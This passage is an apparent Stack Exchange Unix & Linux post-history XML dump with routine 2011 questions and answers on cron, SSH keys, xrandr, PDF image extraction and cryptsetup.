  <row Id="28934" PostHistoryTypeId="2" PostId="11879" RevisionGUID="1f046434-27e2-482f-a8f3-cabb5adbd9af" CreationDate="2011-04-23T15:53:33.177" UserId="591" Text="Things to check&#xD;&#xA;&#xD;&#xA;Is cron running ?&#xD;&#xA;&#xD;&#xA;    $ ps aux | grep cron | grep -v grep&#xD;&#xA;    root      1015  0.0  0.0  21076  1020 ?        Ss   14:36   0:00 cron&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;If cron isn't running you can start it with&#xD;&#xA;&#xD;&#xA;    sudo service cron start&#xD;&#xA;&#xD;&#xA;If cron is running then have a look in `/var/log/syslog` for any related messages&#xD;&#xA;&#xD;&#xA;    $ sudo grep CRON /var/log/syslog &#xD;&#xA;    ...&#xD;&#xA;    Apr 23 16:50:01 iain-10-04 CRON[5193]: (iain) CMD (&quot;echo&quot; &gt;&gt;/tmp/cron.log)&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;Any output from the cron job will also be mailed to the user who's job it is you check the mail on the system. " />
  <row Id="28935" PostHistoryTypeId="5" PostId="11879" RevisionGUID="497a1663-925d-4ede-a6ea-d03c8ee943b2" CreationDate="2011-04-23T16:07:16.650" UserId="591" Comment="typos" Text="Things to check&#xD;&#xA;&#xD;&#xA;Is cron running ?&#xD;&#xA;&#xD;&#xA;    $ ps aux | grep cron | grep -v grep&#xD;&#xA;    root      1015  0.0  0.0  21076  1020 ?        Ss   14:36   0:00 cron&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;If cron isn't running you can start it with&#xD;&#xA;&#xD;&#xA;    sudo service cron start&#xD;&#xA;&#xD;&#xA;If cron is running then have a look in `/var/log/syslog` for any related messages&#xD;&#xA;&#xD;&#xA;    $ sudo grep CRON /var/log/syslog &#xD;&#xA;    ...&#xD;&#xA;    Apr 23 16:50:01 iain-10-04 CRON[5193]: (iain) CMD (&quot;echo&quot; &gt;&gt;/tmp/cron.log)&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;Any output from the cron job will also be mailed to the user who's job it is. Check the mail on the system. " />
  <row Id="28936" PostHistoryTypeId="2" PostId="11880" RevisionGUID="0070b2e3-5f72-49b5-ac6f-5f1d10d6eb20" CreationDate="2011-04-23T16:20:36.980" UserId="6888" Text="Recently I figured out new very useful command. It is:&#xD;&#xA;&#xD;&#xA;&gt; gnome-open&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;&gt; xdg-open&#xD;&#xA;&#xD;&#xA;or just&#xD;&#xA;&#xD;&#xA;&gt; open&#xD;&#xA;&#xD;&#xA;in mac.&#xD;&#xA;&#xD;&#xA;It opens file or directory in by default specified program.&#xD;&#xA;&#xD;&#xA;But, in case if i need open file in already running redactor (I mean send file to running processes somehow) i have no solution. I wander if there is any way to achieve that. Or if it is possible to write a script that can do that.&#xD;&#xA;&#xD;&#xA;For example if i wanna send it to eclipse which is already running.&#xD;&#xA;&#xD;&#xA;Kind of drag-and-drop through commandline." />
  <row Id="28937" PostHistoryTypeId="1" PostId="11880" RevisionGUID="0070b2e3-5f72-49b5-ac6f-5f1d10d6eb20" CreationDate="2011-04-23T16:20:36.980" UserId="6888" Text="Send file to opened editor using command line." />
  <row Id="28938" PostHistoryTypeId="3" PostId="11880" RevisionGUID="0070b2e3-5f72-49b5-ac6f-5f1d10d6eb20" CreationDate="2011-04-23T16:20:36.980" UserId="6888" Text="élinuxàéubuntuàécommandölineà" />
  <row Id="28939" PostHistoryTypeId="25" PostId="11871" RevisionGUID="785a3ed4-4464-439b-9480-dd1b498c149d" CreationDate="2011-04-23T18:09:10.840" Comment="http://twitter.com/#!/StackUnix/status/61854140141277184" />
  <row Id="28940" PostHistoryTypeId="2" PostId="11881" RevisionGUID="bc1332a5-4680-4598-b1e5-558567133e23" CreationDate="2011-04-23T18:18:39.967" UserId="6860" Text="Suppose I have a number of accounts on a server called *SERVER*. Let's call them *ACCOUNT1*, *ACCOUNT2* and *ACCOUNT3*.&#xD;&#xA;&#xD;&#xA;Suppose I don't want to have to type in the password for the account each time I ssh into one of those accounts from my local computer, *DESKTOP*.&#xD;&#xA;&#xD;&#xA;Obviously, I could use a single ssh key pair to allow myself passwordless login to all three accounts, but is it possible to use a different ssh key pair for each account?" />
  <row Id="28941" PostHistoryTypeId="1" PostId="11881" RevisionGUID="bc1332a5-4680-4598-b1e5-558567133e23" CreationDate="2011-04-23T18:18:39.967" UserId="6860" Text="Is it possible to use one SSH key per account for each account on a given remote server?" />
  <row Id="28942" PostHistoryTypeId="3" PostId="11881" RevisionGUID="bc1332a5-4680-4598-b1e5-558567133e23" CreationDate="2011-04-23T18:18:39.967" UserId="6860" Text="ésshà" />
  <row Id="28943" PostHistoryTypeId="2" PostId="11882" RevisionGUID="60877dc4-4e66-4973-b987-e82e7e3f6cba" CreationDate="2011-04-23T18:30:13.110" UserId="5770" Text="If a directory contains an album encoded as one large .wv file and a .cue file, splitting the entire album into individual .flac tracks is a simple task:&#xD;&#xA;&#xD;&#xA;`$ cuebreakpoints foo.cue | shnsplit -o flac foo.wv`&#xD;&#xA;&#xD;&#xA;What I'd like to know is how to split a file where the names don't match up, e.g.: 'foobar.wv' and 'foo.cue'. If I attempt this I get this error message:&#xD;&#xA;&#xD;&#xA;    shnsplit: warning: none of the builtin format modules handle input file: [foobar.wv]&#xD;&#xA;    shnsplit: error: cannot continue due to error(s) shown above&#xD;&#xA;&#xD;&#xA;Do I need to alter the .cue file? Because simply renaming 'foobar.wv' to 'foo.wv' prior to splitting doesn't seem to work for me. Or is there something wrong with the `wavpack` package?&#xD;&#xA;&#xD;&#xA;PS: I didn't know how to tag this question properly. Sorry 'bout that." />
  <row Id="28944" PostHistoryTypeId="1" PostId="11882" RevisionGUID="60877dc4-4e66-4973-b987-e82e7e3f6cba" CreationDate="2011-04-23T18:30:13.110" UserId="5770" Text="Splitting WavPack files when the .cue file and .wv file have different names?" />
  <row Id="28945" PostHistoryTypeId="3" PostId="11882" RevisionGUID="60877dc4-4e66-4973-b987-e82e7e3f6cba" CreationDate="2011-04-23T18:30:13.110" UserId="5770" Text="éencodingàéflacàéerrorà" />
  <row Id="28946" PostHistoryTypeId="2" PostId="11883" RevisionGUID="2ff2a4cd-8e6e-4e30-b9f1-d899b5f62165" CreationDate="2011-04-23T18:46:02.460" UserId="6890" Text="You can manage these identities with `~/.ssh/config`. For example:&#xD;&#xA;&#xD;&#xA;    Host acc1-server&#xD;&#xA;         User ACCOUNT1&#xD;&#xA;         Hostname SERVER&#xD;&#xA;         IdentityFile ~/.ssh/id-ACC1-SRV&#xD;&#xA;    &#xD;&#xA;    Host acc2-server&#xD;&#xA;         User ACCOUNT2&#xD;&#xA;         Hostname SERVER&#xD;&#xA;         IdentityFile ~/.ssh/id-ACC2-SRV&#xD;&#xA;&#xD;&#xA;Afterwards just type `ssh acc1-server` to connect to `SERVER` as `ACCOUNT1` with key `~/.ssh/id_rsa-ACC1-SRV`, or `ssh acc2-server` to connect to `SERVER` as `ACCOUNT2` with key `~/.ssh/id_rsa-ACC2-SRV` ;-)" />
  <row Id="28947" PostHistoryTypeId="2" PostId="11884" RevisionGUID="3ea569a6-6c7c-4b3d-a28d-fbe83953063b" CreationDate="2011-04-23T18:49:24.813" UserId="4949" Text="Yes, you can have a different keypair for each account; just mind the options when you run `ssh-keygen` and specify different identity  files for them. &#xD;&#xA;&#xD;&#xA;If your local computer is acceptably secure and you don't want to continuously re-enter your key password, `ssh-agent` might be worth looking into as well." />
  <row Id="28948" PostHistoryTypeId="2" PostId="11885" RevisionGUID="271f4573-a9c9-4068-b1eb-e1fd452cc013" CreationDate="2011-04-23T19:00:18.070" UserId="1925" Text="Most programs that accept new file or other object input will have a separate binary to talk to the main one, usually known as a remote. I don't know about eclipse, but for example `gimp-remote` allows you to open new images in the already running application." />
  <row Id="28949" PostHistoryTypeId="2" PostId="11886" RevisionGUID="a15103a1-381a-44da-acc9-e159d5d9f67a" CreationDate="2011-04-23T19:07:13.077" UserId="6891" Text="I have a situation where I need to extract images from lots of PDF files and display them on a website. My PDFs have &quot;regular&quot; images as well as lots of graphs.&#xD;&#xA;&#xD;&#xA;I used pdf2xml (http://sourceforge.net/projects/pdf2xml/) and it pulls out the images in jpeg, ppm, pbm and vec formats. I see the &quot;regular&quot; images being extracted (for the most part) as jpeg/ppm/pbm, but I don't see the graphs being there - and so I am guessing that pdf2xml is storing them as .vec files.&#xD;&#xA;&#xD;&#xA;So the question is how to I get my graphs? I used &quot;convert&quot; that comes with imagemagick to convert .vec to jpeg/png etc. but to no avail.&#xD;&#xA;&#xD;&#xA;Any ideas on this?&#xD;&#xA;&#xD;&#xA;Thanks in advance. &#xD;&#xA;&#xD;&#xA;Andy" />
  <row Id="28950" PostHistoryTypeId="1" PostId="11886" RevisionGUID="a15103a1-381a-44da-acc9-e159d5d9f67a" CreationDate="2011-04-23T19:07:13.077" UserId="6891" Text="Extract graphs from PDFs" />
  <row Id="28951" PostHistoryTypeId="3" PostId="11886" RevisionGUID="a15103a1-381a-44da-acc9-e159d5d9f67a" CreationDate="2011-04-23T19:07:13.077" UserId="6891" Text="éimageömanipulationàépdfà" />
  <row Id="28952" PostHistoryTypeId="5" PostId="11863" RevisionGUID="0ba7777d-2d54-4572-9c20-0500151636a1" CreationDate="2011-04-23T19:15:04.473" UserId="3519" Comment="added 1 characters in body" Text="What is not clear in your question is whether you talk about text and vector graphics in your pdf, or whether your pdf contains embedded images.&#xD;&#xA;&#xD;&#xA;Having read what gscan2pdf is about, my guess is that your pdf files contain (only) embedded graphics.&#xD;&#xA;&#xD;&#xA;`convert` essentially &quot;prints&quot; your pdf without regards for what the contents is. Like @cjm suggests, you might want to change the print density. This is the only way to increase quality for vector graphics.&#xD;&#xA;&#xD;&#xA;If instead, what you want to do is extract embedded images (much like gscan2pdf seems to do), guessing the density will usually lead to either quality loss or higher quality than required (and waste of disk space). The answer then is to extract the image rather than print the pdf. [See this article][1] which basically advocates the use of `pdfimages` in order to extract images without quality loss.&#xD;&#xA;&#xD;&#xA;  [1]: http://stefaanlippens.net/extract-images-from-pdf-documents" />
  <row Id="28954" PostHistoryTypeId="5" PostId="11886" RevisionGUID="fe10b2cf-ac01-4b2e-aa7a-a55be3569296" CreationDate="2011-04-23T19:24:52.617" UserId="1925" Comment="Removed signature, see FAQ. Your posts are signed with a link to your profile. Tweaked formatting." Text="I have a situation where I need to extract images from lots of PDF files and display them on a website. My PDFs have &quot;regular&quot; images as well as lots of graphs.&#xD;&#xA;&#xD;&#xA;I used [pdf2xml][1] and it pulls out the images in jpeg, ppm, pbm and vec formats. I see the &quot;regular&quot; images being extracted (for the most part) as jpeg/ppm/pbm, but I don't see the graphs being there - and so I am guessing that pdf2xml is storing them as .vec files.&#xD;&#xA;&#xD;&#xA;So the question is how to I get my graphs? I used `convert` that comes with imagemagick to convert .vec to jpeg/png etc  but to no avail.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/pdf2xml/" />
  <row Id="28955" PostHistoryTypeId="24" PostId="11886" RevisionGUID="fe10b2cf-ac01-4b2e-aa7a-a55be3569296" CreationDate="2011-04-23T19:24:52.617" Comment="Proposed by 1925 approved by 73 edit id of 317" />
  <row Id="28956" PostHistoryTypeId="5" PostId="11880" RevisionGUID="e33ac60f-eb3a-4eee-a695-920baf942ffc" CreationDate="2011-04-23T19:25:01.900" UserId="1925" Comment="Fixed some of the English issues. Second language?" Text="Recently I found out a new very useful command. It is:&#xD;&#xA;&#xD;&#xA;&gt; gnome-open&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;&gt; xdg-open&#xD;&#xA;&#xD;&#xA;or just&#xD;&#xA;&#xD;&#xA;&gt; open&#xD;&#xA;&#xD;&#xA;on mac.&#xD;&#xA;&#xD;&#xA;It opens file or directory in by default specified program.&#xD;&#xA;&#xD;&#xA;But, in the event that I need to open a file in an already running redactor (I mean send the file to a running processes somehow) I have no solution. I wonder if there is any way to achieve that or if it is possible to write a script that can do that.&#xD;&#xA;&#xD;&#xA;For example if I want to send it to an already running instance of eclipse.&#xD;&#xA;&#xD;&#xA;Kind of drag-and-drop through commandline." />
  <row Id="28957" PostHistoryTypeId="24" PostId="11880" RevisionGUID="e33ac60f-eb3a-4eee-a695-920baf942ffc" CreationDate="2011-04-23T19:25:01.900" Comment="Proposed by 1925 approved by 73 edit id of 316" />
  <row Id="28958" PostHistoryTypeId="2" PostId="11888" RevisionGUID="2731b36f-9ceb-4242-8632-e4b27d0e2f2b" CreationDate="2011-04-23T19:37:52.477" UserId="4041" Text="I just plugged my EeePC to a Sony BRAVIA KDL-32EX710.&#xD;&#xA;&#xD;&#xA;Such TV supports resolutions up to 1920x1080, but RandR only let me use resolutions from 640x480 to 1024x768. In order to use full resolution I have to manually add a new mode to RandR at any boot.&#xD;&#xA;&#xD;&#xA; - Why does this happen?&#xD;&#xA;&#xD;&#xA; - Is there any clean way to let RandR know of this monitor? (cleaner than `xrandr --newmode`, `xrandr --addmode`)" />
  <row Id="28959" PostHistoryTypeId="1" PostId="11888" RevisionGUID="2731b36f-9ceb-4242-8632-e4b27d0e2f2b" CreationDate="2011-04-23T19:37:52.477" UserId="4041" Text="RandR not recognizing monitor" />
  <row Id="28960" PostHistoryTypeId="3" PostId="11888" RevisionGUID="2731b36f-9ceb-4242-8632-e4b27d0e2f2b" CreationDate="2011-04-23T19:37:52.477" UserId="4041" Text="éxorgàémonitoràéxrandrà" />
  <row Id="28961" PostHistoryTypeId="2" PostId="11889" RevisionGUID="ece4f96d-154f-4cf2-88e2-7c9442e1afb5" CreationDate="2011-04-23T19:55:25.080" UserId="1535" Text="I'd like to be able to paste the X selection using the keyboard.  Currently I have to use the middle mouse button to do this.&#xD;&#xA;&#xD;&#xA;I gather that faking a middle mouse button press is fairly easy to do, but such a solution would also require moving the mouse pointer to the location of the text caret.&#xD;&#xA;&#xD;&#xA;Is there a better way to do this?" />
  <row Id="28962" PostHistoryTypeId="1" PostId="11889" RevisionGUID="ece4f96d-154f-4cf2-88e2-7c9442e1afb5" CreationDate="2011-04-23T19:55:25.080" UserId="1535" Text="Pasting X selection (not clipboard contents) with keyboard" />
  <row Id="28963" PostHistoryTypeId="3" PostId="11889" RevisionGUID="ece4f96d-154f-4cf2-88e2-7c9442e1afb5" CreationDate="2011-04-23T19:55:25.080" UserId="1535" Text="éxorgàékeyboardöshortcutsàécopyöpasteà" />
  <row Id="28964" PostHistoryTypeId="2" PostId="11890" RevisionGUID="92ece4d7-a2e9-4fd6-93e2-dfeb7cd4a865" CreationDate="2011-04-23T19:57:16.420" UserId="1925" Text="On most default linux setups, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Insert&lt;/kbd&gt; will perform an X-selection-paste.&#xD;&#xA;&#xD;&#xA;As you noted, this is distinctly different from the clipboard-paste command, the binding for which often varies by application." />
  <row Id="28965" PostHistoryTypeId="2" PostId="11891" RevisionGUID="ed0ca61d-d8ba-4a4d-9950-3c73e534b968" CreationDate="2011-04-23T20:08:19.020" UserId="4041" Text="I'm using this simple (homemade) script that keeps polling RandR and switches between LVDS1 and VGA1 when VGA gets connected/disconnected.&#xD;&#xA;&#xD;&#xA;It's a dirty solution, yet it's working just fine.&#xD;&#xA;&#xD;&#xA;It's customized for my setup: you'll most likely need to change RandR output names (`LVDS1` and `VGA1`) and [unlike me](http://unix.stackexchange.com/questions/11888/randr-not-recognizing-monitor) you'll probably be fine with your RandR default mode for VGA.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # setting up new mode for my VGA&#xD;&#xA;    xrandr --newmode &quot;1920x1080&quot; 148.5 1920 2008 2052 2200 1080 1089 1095 1125 +hsync +vsync&#xD;&#xA;    xrandr --addmode VGA1 1920x1080&#xD;&#xA;    &#xD;&#xA;    # default monitor is LVDS1&#xD;&#xA;    MONITOR=LVDS1&#xD;&#xA;    &#xD;&#xA;    # functions to switch from LVDS1 to VGA and vice versa&#xD;&#xA;    function ActivateVGA {&#xD;&#xA;    	echo &quot;Switching to VGA1&quot;&#xD;&#xA;    	xrandr --output VGA1 --mode 1920x1080 --dpi 160 --output LVDS1 --off&#xD;&#xA;    	MONITOR=VGA1&#xD;&#xA;    }&#xD;&#xA;    function DeactivateVGA {&#xD;&#xA;    	echo &quot;Switching to LVDS1&quot;&#xD;&#xA;    	xrandr --output VGA1 --off --output LVDS1 --auto&#xD;&#xA;    	MONITOR=LVDS1&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # functions to check if VGA is connected and in use&#xD;&#xA;    function VGAActive {&#xD;&#xA;    	[ $MONITOR = &quot;VGA1&quot; ]&#xD;&#xA;    }&#xD;&#xA;    function VGAConnected {&#xD;&#xA;    	! xrandr | grep &quot;^VGA1&quot; | grep disconnected&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # actual script&#xD;&#xA;    while true&#xD;&#xA;    do&#xD;&#xA;    	if ! VGAActive &amp;&amp; VGAConnected&#xD;&#xA;    	then&#xD;&#xA;    		ActivateVGA&#xD;&#xA;    	fi&#xD;&#xA;    	&#xD;&#xA;    	if VGAActive &amp;&amp; ! VGAConnected&#xD;&#xA;    	then&#xD;&#xA;    		DeactivateVGA&#xD;&#xA;    	fi&#xD;&#xA;    	&#xD;&#xA;    	sleep 1s&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28966" PostHistoryTypeId="2" PostId="11892" RevisionGUID="02bebb2a-f11b-46da-baff-2b477303f1bc" CreationDate="2011-04-23T20:11:49.953" UserId="2421" Text="I've never tried pdf2xml, but browsing through its files on SourceForge, I found [vec2svg-2.py][1], which appears to be a Python script to convert .vec files to .svg.  You should have no difficulty converting [SVG][2] to whatever format you need.&#xD;&#xA;&#xD;&#xA;    python vec2svg-2.py -i file.vec -o file.svg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/pdf2xml/files/misc/vec2svg-2.py/download&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Scalable_Vector_Graphics" />
  <row Id="28967" PostHistoryTypeId="2" PostId="11893" RevisionGUID="58607152-3138-438f-92fe-a51b54b7c801" CreationDate="2011-04-23T20:23:52.880" UserId="1535" Text="I'd like to be able to move (pin) an existing window to all desktops using a scriptable command, rather than through the window menu.&#xD;&#xA;&#xD;&#xA;`wmctrl -r &lt;WIN&gt; -t &lt;DESK&gt;` will move a window to a different desktop, but I haven't found a way to use this to cause the window to be displayed on all desktops.  `wmctrl -l` shows `-1` as the desktop number for windows which are displayed on all desktops, but passing `-1` to `-t` doesn't work.&#xD;&#xA;&#xD;&#xA;[An unresolved fedora bug report](https://bugzilla.redhat.com/show_bug.cgi?id=524023) seems to address this issue: apparently the -1 value is used internally by `wmctrl`.  The bug report also mentions that this can be done with some window managers by giving the target window the *sticky* property.  However, I'm running openbox and this approach does not seem to work for me.  There is actually a patch posted to that bug report; I haven't tried using it.  It is from 2009.  I'd prefer to avoid patching `wmctrl`.&#xD;&#xA;&#xD;&#xA;Is there another way to script this behaviour that will work under openbox?" />
  <row Id="28968" PostHistoryTypeId="1" PostId="11893" RevisionGUID="58607152-3138-438f-92fe-a51b54b7c801" CreationDate="2011-04-23T20:23:52.880" UserId="1535" Text="Command to move a window to all desktops" />
  <row Id="28969" PostHistoryTypeId="3" PostId="11893" RevisionGUID="58607152-3138-438f-92fe-a51b54b7c801" CreationDate="2011-04-23T20:23:52.880" UserId="1535" Text="éxorgàéscriptingàédesktopàéopenboxà" />
  <row Id="28978" PostHistoryTypeId="25" PostId="11889" RevisionGUID="1ddc554f-ae4b-4ba6-9c1b-1c6d08365678" CreationDate="2011-04-23T21:09:10.660" Comment="http://twitter.com/#!/StackUnix/status/61899438372831233" />
  <row Id="28979" PostHistoryTypeId="17" PostId="11898" RevisionGUID="e8f014c9-bb6a-4f30-80f5-46308162719d" CreationDate="2011-04-23T21:59:57.913" UserId="-1" Comment="from http://stackoverflow.com/questions/5757405/info-about-processors-in-linux/5758370#5758370" Text="" />
  <row Id="28980" PostHistoryTypeId="17" PostId="11899" RevisionGUID="c32bd101-857f-4c04-95fe-866fb369f0dd" CreationDate="2011-04-23T21:59:57.913" UserId="-1" Comment="from http://stackoverflow.com/questions/5757405/info-about-processors-in-linux/5758512#5758512" Text="" />
  <row Id="28981" PostHistoryTypeId="17" PostId="11900" RevisionGUID="537690cd-f0d7-4749-9e13-44316b3b1d2d" CreationDate="2011-04-23T21:59:57.913" UserId="-1" Comment="from http://stackoverflow.com/questions/5757405/info-about-processors-in-linux/5759000#5759000" Text="" />
  <row Id="28982" PostHistoryTypeId="2" PostId="11898" RevisionGUID="050084c1-1000-4ca6-85e9-9a1f48b9a4a5" CreationDate="2011-04-22T17:55:27.230" UserDisplayName="Sandeep Singh" Text="`NR_CPUS` is defined as a macro in the file: `include/linux/threads.h`.&#xD;&#xA;&#xD;&#xA;`struct schedule_data` is defined in: `/usr/src/linux/kernel/sched.c`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28983" PostHistoryTypeId="2" PostId="11899" RevisionGUID="b3bbaa6f-d938-4819-88fe-c36bd4b3d1b8" CreationDate="2011-04-22T18:10:09.450" UserId="5946" Text="I'd use&#xD;&#xA;&#xD;&#xA;    cd /usr/src/linux&#xD;&#xA;    cscope&#xD;&#xA;&#xD;&#xA;and browse for definitions, references, callers, callees, free text all in an ncurses gui that integrates well with the default editor&#xD;&#xA;&#xD;&#xA;If you use vim, it's even integrated the other way around&#xD;&#xA;&#xD;&#xA;Then there is ctags; that one is also well supported by vim and many other editors" />
  <row Id="28984" PostHistoryTypeId="2" PostId="11900" RevisionGUID="ccd1cb3f-4224-455d-a815-9c21f3f4612e" CreationDate="2011-04-22T19:00:41.403" UserDisplayName="osgx" Text="http://lxr.linux.no/ is online site which can find definitions and usage of any c object in linux kernel.&#xD;&#xA;&#xD;&#xA;Just select some version of the kernel (e.g. http://lxr.linux.no/#linux+v2.6.38/ ) and paste name of variable or macro in the input field at top right.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here, for example, result of searching NR_CPUS http://lxr.linux.no/#linux+v2.6.38/include/linux/threads.h#L20&#xD;&#xA;" />
  <row Id="28985" PostHistoryTypeId="2" PostId="11897" RevisionGUID="35b49a3e-3f1c-4c74-83dc-4c2c8712bfb0" CreationDate="2011-04-22T16:10:24.810" UserDisplayName="likeIT" Text="hello everyone I'm currently reading `Understanding the Linux Kernel`, I found there:&#xD;&#xA;&#xD;&#xA;&gt;    Besides the fields included in each process descriptor, additional information is needed to describe what&#xD;&#xA;    each CPU is doing. To that end, the scheduler can rely on the aligned_data array of NR_CPUS structures&#xD;&#xA;    of type schedule_data.&#xD;&#xA;&#xD;&#xA;my question is, where can I find the definition(I mean which directory and file) of `NR_CPUS` and this `schedule_data struct`, thanks in advance&#xD;&#xA;&#xD;&#xA;P.S. also it will be very helpful if somebody knows some site which can give quick reference about the place of definition of different structs and macro's from Linux Kernel" />
  <row Id="28986" PostHistoryTypeId="1" PostId="11897" RevisionGUID="35b49a3e-3f1c-4c74-83dc-4c2c8712bfb0" CreationDate="2011-04-22T16:10:24.810" UserDisplayName="likeIT" Text="info about processors in linux" />
  <row Id="28987" PostHistoryTypeId="3" PostId="11897" RevisionGUID="35b49a3e-3f1c-4c74-83dc-4c2c8712bfb0" CreationDate="2011-04-22T16:10:24.810" UserDisplayName="likeIT" Text="élinuxà" />
  <row Id="28988" PostHistoryTypeId="17" PostId="11897" RevisionGUID="9391e5e4-67e3-4876-a3d6-388cf9e4fdd8" CreationDate="2011-04-23T21:59:57.913" UserId="-1" Comment="from http://stackoverflow.com/questions/5757405/info-about-processors-in-linux" Text="" />
  <row Id="28989" PostHistoryTypeId="2" PostId="11901" RevisionGUID="c70957cc-2204-4337-a871-4bd018dd17f9" CreationDate="2011-04-23T22:00:42.290" UserId="4520" Text="The problem is not RandR, your video driver is not configuring the monitor based on the EDID information from the Monitor.  Check the Xorg?.log file to see how the driver is configuring the monitor.  &#xD;&#xA;&#xD;&#xA;It is possible to configure the monitor in the xorg.conf configuration.  I haven't tried this for a plug and play setup.  Configuring a dual monitor setup might work better. &#xD;&#xA;&#xD;&#xA;You could script the configuration so it is easier to do." />
  <row Id="28990" PostHistoryTypeId="2" PostId="11902" RevisionGUID="ad4720bb-870a-45bc-9ebe-2829a98e238a" CreationDate="2011-04-23T20:47:23.857" UserDisplayName="hochl" Text="Dear all,&#xD;&#xA;&#xD;&#xA;I've upgraded my linux installation to kernel 2.6.38-2 (Debian testing). With the new kernel, loop-aes does not compile, so I cannot mount my encrypted volumes. I heared that it is possible to use some compatibility mode of cryptsetup to mount encrypted volumes of loop-aes, so my question is:&#xD;&#xA;&#xD;&#xA;How can I do that?&#xD;&#xA;&#xD;&#xA;I have been searching for hours with Google and couldn't find anything that worked. With loop-aes, I was mounting partitions with the following entry in /etc/fstab:&#xD;&#xA;&#xD;&#xA;/dev/sdb2 /mount/data   ext4 user,noauto,loop,encryption=aes256 0 0&#xD;&#xA;&#xD;&#xA;How would the cryptsetup command line look like? I would prefer an fstab entry, if possible, but a command line would do as well. I'm fairly desperate!&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;Thomas." />
  <row Id="28991" PostHistoryTypeId="1" PostId="11902" RevisionGUID="ad4720bb-870a-45bc-9ebe-2829a98e238a" CreationDate="2011-04-23T20:47:23.857" UserDisplayName="hochl" Text="Migration from loop-aes to cryptsetup." />
  <row Id="28992" PostHistoryTypeId="3" PostId="11902" RevisionGUID="ad4720bb-870a-45bc-9ebe-2829a98e238a" CreationDate="2011-04-23T20:47:23.857" UserDisplayName="hochl" Text="éencryptionàédebianàépartitionà" />
  <row Id="28993" PostHistoryTypeId="17" PostId="11902" RevisionGUID="fc441329-1a45-41f3-b96f-a7a13d2b2edd" CreationDate="2011-04-23T22:05:59.213" UserId="-1" Comment="from http://stackoverflow.com/questions/5766843/migration-from-loop-aes-to-cryptsetup" Text="" />
  <row Id="28994" PostHistoryTypeId="5" PostId="1271" RevisionGUID="c1635bad-6598-4961-ba8b-1405755d3b67" CreationDate="2011-04-23T22:24:44.733" UserId="1925" Comment="Fixed factual blooper in reference to another answer." Text="The [Jargon File][1] has an answer which seems to agree with [JanC][2].&#xD;&#xA;&#xD;&#xA;&gt; wheel: n. &#xD;&#xA; [from slang ‘big wheel’ for a powerful person] A person who has an&#xD;&#xA; active wheel bit...The traditional name of security group zero in BSD (to which the major system-internal users like root belong) is ‘wheel’...&#xD;&#xA;&#xD;&#xA;A wheel bit is also helpfully defined:&#xD;&#xA;&#xD;&#xA;&gt; A privilege bit that allows the possessor to perform some restricted operation on a timesharing system, such as read or write any file on the system regardless of protections, change or look at any address in the running monitor, crash or reload the system, and kill or create jobs and user accounts. The term was invented on the TENEX operating system, and carried over to TOPS-20, XEROX-IFS, and others. The state of being in a privileged logon is sometimes called wheel mode. This term entered the Unix culture from TWENEX in the mid-1980s and has been gaining popularity there (esp. at university sites). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catb.org/jargon/html/&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/1262/where-did-the-wheel-group-get-its-name/1264#1264" />
  <row Id="28995" PostHistoryTypeId="24" PostId="1271" RevisionGUID="c1635bad-6598-4961-ba8b-1405755d3b67" CreationDate="2011-04-23T22:24:44.733" Comment="Proposed by 1925 approved by 73 edit id of 318" />
  <row Id="28996" PostHistoryTypeId="2" PostId="11903" RevisionGUID="35158c13-01e7-4d55-a621-18408962dd15" CreationDate="2011-04-23T22:42:51.833" UserId="3169" Text="Did you try&#xD;&#xA;&#xD;&#xA;    eclipse --launcher.openFile &lt;absolute path of file to open&gt;&#xD;&#xA;&#xD;&#xA;[Eclipse OpenFile Feature](http://wiki.eclipse.org/Eclipse/OpenFileFeature)." />
  <row Id="28997" PostHistoryTypeId="2" PostId="11904" RevisionGUID="5cc69029-8c3f-4791-b05e-47cc8ce2f063" CreationDate="2011-04-23T23:40:35.580" UserId="3389" Text="`cryptsetup loopaesOpen &lt;device&gt; &lt;name&gt; [--key-size 128] --key-file &lt;key-file&gt;`, according to http://code.google.com/p/cryptsetup/wiki/Cryptsetup130.  If your `cryptsetup` isn't 1.3.0, you're gonna have to download that version and compile it.&#xD;&#xA;&#xD;&#xA;`cryptsetup` opens the volume and creates a new block device in `/dev/mapper/&lt;name&gt;`  You then have to use the `mount` command after `cryptsetup` to actually use it.&#xD;&#xA;&#xD;&#xA;I know `crypttab` is involved in setting up boot-type encrypted volumes but I wrote my own scripts to manually mount them on demand so I have no experience with that, unfortunately.&#xD;&#xA;" />
  <row Id="28998" PostHistoryTypeId="2" PostId="11905" RevisionGUID="4848d69d-b670-4d98-88b3-a8fce4a8765a" CreationDate="2011-04-23T23:46:19.103" UserId="2343" Text="It seems that Nautilus keeps track of it's internal state with respect to changes to the clipboard, which means that any change of state to the clipboard (including replacement with an identical filepath string) automatically cancels the *paste pending* state, hence nothing happens when an externally loaded clipboard contains a valid filepath...  &#xD;&#xA;&#xD;&#xA;Nautilus only recognizes a *file copy/cut* which has been initiated from within Nautilus itself.  &#xD;&#xA;&#xD;&#xA;    # In Nautilus, manually &quot;copy&quot; a file (to the clipboard) usin Ctrl+C&#xD;&#xA;    &#xD;&#xA;    xsel -ob |xxd      # hex-display clipboard contents of the clipboard&#xD;&#xA;    echo &quot;### At this point, Nautilus copy works.&quot;&#xD;&#xA;    read               # pause&#xD;&#xA;    xsel -ob |xsel -ib # Replace clipboard with itself&#xD;&#xA;    xsel -ob |xxd      # hex-display clipboard contents again&#xD;&#xA;    echo 